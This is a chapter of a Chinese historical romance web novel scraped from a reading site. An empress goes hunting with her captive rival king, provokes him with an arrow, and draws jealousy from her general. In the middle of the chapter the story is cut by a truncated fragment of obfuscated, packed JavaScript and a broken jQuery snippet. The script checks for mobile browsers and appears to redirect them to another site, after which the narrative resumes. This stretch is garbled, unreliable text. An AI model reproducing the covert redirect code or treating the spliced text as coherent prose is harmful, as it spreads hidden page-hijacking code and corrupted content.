默认冷灰
24号文字
方正启体

10. 无措

作者:秋鹤知本书字数:K更新时间:
    秋狩将至,孟昭川难得来了兴致,有时突然起意,直接跑去靶场开练。


    孟昭川利落地跨坐上马,俯身抄起箭囊内三支箭矢,三指拉满,坚实的肌肉绷成流畅的线条,目光冷冽,双唇紧闭,锁死百米外的靶心。


    倏然松指,三箭齐发,靶心正中。


    孟昭川一次次重复着,她不知疲倦。


    好像只有这样,她才能自欺欺人,将天下,浓缩成靶场的靶心,一箭射中。


    谢辞君偶尔路过逐鹿围场,看到孟昭川似是发泄般的扬鞭挥马,他站在观猎台,眼神定在她身上。


    孟昭川下马,观猎台上一片喝彩。


    孟昭川累得说不出话,她着一身玄黑色骑装,□□笔直的脊背微弯,乌发高束,鬓角的汗液黏了些发丝。


    “陛下凤姿英发,实在是天纵神武啊!”


    “陛下凤姿尚且如此,我卫国兵强马壮,蛮夷不敢来犯”


    ……


    孟昭川听多了,只觉得疲惫,她坐在凤椅上,垂手休憩。


    “往年秋狩,不过是随手练练,彰显我朝英姿罢了,怎么今年如此操劳?”谢辞君坐在她身旁问着。


    孟昭川该怎样回答他呢?说自己这几日疲惫不堪,那些积攒的情绪,只有让身体发泄出来,才能让内心舒畅无比吗?


    “最近…就是无端想练练”孟昭川随意答着,她本就没什么力气了。


    “臣听说,这骑射之术,最是健体平气,臣改日也要试试,说不定,还能陪陛下解乏呢”一个大臣笑着说。


    孟昭川只是勾唇笑着。


    解乏……


    倒轮不着他。


    她眼下,好像有个人选。


    “去承乐楼,看看归命侯在干什么”孟昭川吩咐着王铮,


    “他要是得闲,把他带来和我一同狩猎”孟昭川顿了顿,似乎在思考措辞,“整日闷在屋子里,有什么意思,你跟他说,是太医让他出来锻炼的”


    王铮应了,朝承乐楼走去。


    “我不也能陪你吗?”谢辞君垂下眼。


    孟昭川一听,谢辞君都没称她陛下,可见是有些生气。


    “你跟他争什么,你整日军前马后的,骑射还练得少吗”孟昭川擦着弓箭看着他,“况且你肩伤还未好,不能立马放你活动”


    孟昭川噘着嘴说着,谢辞君看她突然露出小孩一样可爱的神情,一下气都消了。


    她也是关心自己。


    姜令赶来时,孟昭川先让他和自己在棚内吃午膳。


    见他一脸愁苦,孟昭川忍不住嘟囔,


    “整日待在屋内,闷都要闷死,出来放松些,有何不可”


    “陛下若需要人陪练骑射,请宁国公就可,何必扯上我一个弱书生”


    孟昭川听到他自称的那几个字,差点没笑出声。


    一国之君,现在称自己弱书生。


    那和她孟昭川来来回回,打了三年,绝不谈和的是谁呢?


    “我就是要你一起,不行吗?”孟昭川眼神直勾勾盯着姜令,倒让他无所适从了。


    姜令换上骑装,真的很好看。


    整日穿着白衣,不知道是在跟谁奔丧。


    仙气飘飘,但实在了无生气。


    今日换上骑装,束发高簪,玉树临风。


    姜令随便上了一匹马,孟昭川翻身,跨上自己的雪马。


    “我们去木兰猎场”孟昭川侧头,和王铮交谈着。


    “陛下,木兰猎场,有些太远了,这……”王铮有些为难的神情。


    “你知道在哪就行,那里有驻军,不必担心”孟昭川皱眉,不想跟他多做交涉。


    有时,自己还得安这群人的心。


    王铮走后,孟昭川听到一声冷笑。


    才发现,姜令一直看着她。


    “陛下也真是大胆”姜令歪着头,难得轻佻地看着她,“仅你我二人,也不怕,我对您做些什么不利之事”


    他拿了身旁的弓箭,朝孟昭川挥了挥。


    疯子。


    孟昭川回盯着他那双漂亮的凤眼。


    唰地一声。


    似是风声。


    不,是箭声。


    一支箭矢,此时死死抵在姜令的喉结处。


    姜令一动不动。


    “你可以试试”孟昭川狡然笑着,利箭的尖端,直直对着姜令的喉颈。


    她还是收回了箭,勒紧了缰绳,骑马朝前奔去。


    “跟上来啊,江南王”孟昭川策马奔疾,回头朝姜令说着。


    正午艳阳高悬,曦光照映在那英气俊朗的脸上,无端的,姜令看的有些呆了。


    孟昭川今日,又是一身玄黑色骑装。


    正如那日出城时,她骑马挥剑一样。


    重叠的记忆,此时共同漂浮在脑中。


    崇敬吗?爱慕吗?


    不,都没有。姜令一直在否认,他不想承认。


    他不敢承认。


    孟昭川像是辽阔平原的烈风,骤然间,吹卷起江南三月的雨幕。


    自此,他那柔濛的细雨被狂风卷起。


    姜令策马,朝那烈风奔去。


    两人纵马到了林场,孟昭川停下,朝姜令一笑,


    “姜令,有胆子跟我一赌吗?”


    “赌什么?”


    “赌你射不中六瞳鹿”


    六瞳鹿是卫国独有的鹿种,机敏矫健,也是狩猎场上极难射中的猎物。


    林中萧肃,孟昭川的眼神直直盯着那丛林之中的鹿种。


    她想赢姜令。


    孟昭川一支箭射了过去,她和姜令一同举弓。


    姜令的箭矢,也在同一刻直射出鞘。


    它的箭矢,挡住了孟昭川的箭。


    两支无措的箭矢一齐落地。


    “姜令!你在做什么!”


    孟昭川对姜令的行为表示不满。


    “一只穷途的鹿,何必再给它一箭呢”姜令轻笑着,看着孟昭川。


    六瞳鹿是稀有的鹿种,可正是因为它稀有,捕猎者无不将它视作珍宝,尽数猎杀。


    六瞳鹿朝林中的斜坡而下,孟昭川骑马去追逐,无意间,马蹄勾住了草丛的荆棘。


    孟昭川从马上突然摔下,姜令立马甩了缰绳,前去拉她。


    他抱住孟昭川,一只手护住她的头,两人顺着斜坡向下滚着。


    孟昭川覆盖在姜令宽大的身躯之下,头被姜令紧紧护着。


    两人滚到平地上,孟昭川躺在地上,姜令却支撑着想站起来。


    孟昭川拉着姜令的袍领,朝自己俯身。


    “你……”


    “你不是要对我做不利之事吗,怕了?”孟昭川挑衅地看着姜令。


    姜令试着挣脱孟昭川紧握他的那只手。


    她臂力惊人。姜令根本无从挣脱。


    “孟昭川,你放开我”


    “姜令,你别跟我说你不行”孟昭川言语更加轻佻,“你宫里那三十多个嫔妃,我可跟你好生养在宫外呢”


    孟昭川又将他拉近自己几寸,二人近乎鼻尖相抵。


    “姜令,你怕我吗?”


    突然,她近乎是耳语一样的声音问着他。


    姜令喉结处滚动着,他一眼都不敢看她。


    他在怕什么?怕真的爱上了这个疯子一样的女人?怕自己是一国之君,就这样轻易地爱上自己的仇人?


    他都在怕,他都要怕死了。


    领口,突然松开了。


    他听到一声轻笑。


    “没趣”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103017|195759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >姜令赶忙支身,孟昭川也起身,径直朝坡上走去。


    “陛下!陛下!”谢辞君的声音,从山坡上响起。


    他迟迟赶来,忙着走下山坡,查看孟昭川的伤势。


    “您没事吧”


    孟昭川摇摇头,“回去吧”


    谢辞君离开之前,侧眼看着姜令。


    他送走孟昭川,走上前,甩给姜令一个巴掌。


    “姜令,你别以为她不敢怎么样你,你就能恃宠而骄地伤害她”谢辞君几乎是咬牙切齿地说着。


    姜令唇角流下血痕,他冷笑着,看着谢辞君。


    “谢辞君,我瞧不起你”姜令冷声说着。


    谢辞君愣在原地,他没想到会被姜令反咬一口。


    “你给孟昭川当狗,又惦念她,想让她赐你怜悯和喜爱,但是你从头至尾都不知道,她本就把你当狗,也更不谈爱不爱你”


    谢辞君又提手,姜令接住了他的巴掌,唇角已经满是鲜血。。


    “看来,我说中了”姜令阴森地笑着,那张漂亮的脸上是病态的堆笑,“谢辞君,你我都是她的狗,你没资格蔑视我”


    姜令拂袖,擦着唇角的血迹。


    他推开呆滞的谢辞君,朝山坡上走着。


    他走了几步,突然停在原地。


    为什么要对谢辞君说那样的话?为什么要这样?


    他也不明白。


    他觉得,那话好像是对自己说的,不是对谢辞君。


    脑中,不时闪过孟昭川看向他的眼睛。


    看向他时,渴望又痴狂。


    她渴望他能回应自己,哪怕是拒绝都好。


    可是姜令——


    他只是无措地看着她。


    姜令是走回宫的。几乎是傍晚,他才回到承玉楼。


    宽阔的原野好像只是一场梦,囚牢里的小雀终归还要回到这个笼子里。


    路过御花园,听到一阵江南的词歌,姜令以为自己置身梦中,无意间,也跟着哼了起来。


    “蝶落洒船头,青瓷离人酒,梦里不见君归否?鬓边三根雪,落花盖坟茔,清明又一年”


    女子哀婉的声音从花园深处传来,她语调凄凄,正是标准的苏国旧语。


    姜令循着那清幽的小径走去,颇想见见这哀歌之人。


    忽见亭中,一女子垂头刺绣,斜阳恰好洒在她身上,更显温柔。


    无意识地,姜令还是走到她身前。


    “姑娘方才唱的《渡江辞》,是你自己学的吗?”


    姜令的声音吓了女子一大跳,她甚至紧张地,银针无意间刺在指腹,鲜血濡湿了一大片绣布。


    “抱…抱歉,我无意”姜令立马递给她帕子。


    女孩抬眼,对上一双秋水般漂亮的眼睛。


    温润如玉。


    她本有些责怪,在看到他的一瞬,尽数散开。


    “无事……”女孩摇摇头,脸上有了些红晕,接过了姜令的帕子。


    “你问的是方才那首?”女孩又反问着姜令,“那是我家乡的歌了,也难为您听得出来”


    虽然不知眼前谪仙般的男子是谁,但那通身的气派,非富即贵,还是尊敬些好。


    “您是云映人吗?”姜令有些惊喜,听她的口音语调,这也不难看出。


    “是”女子羞赧地点头,“我在那里出生,后来才来到卫国的”


    “不过,现在也回不去了”女孩无奈地笑着,似乎意识到自己这样说有复国之想,忙着找补,


    “不,我没有别的意思,我只是随口说说”


    姜令看女孩急匆匆地否认,许是以为他会借此责难她。


    “没事的,事实如此了,不过是说说,想想,不碍事的”姜令柔声说着。


    事实如此了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)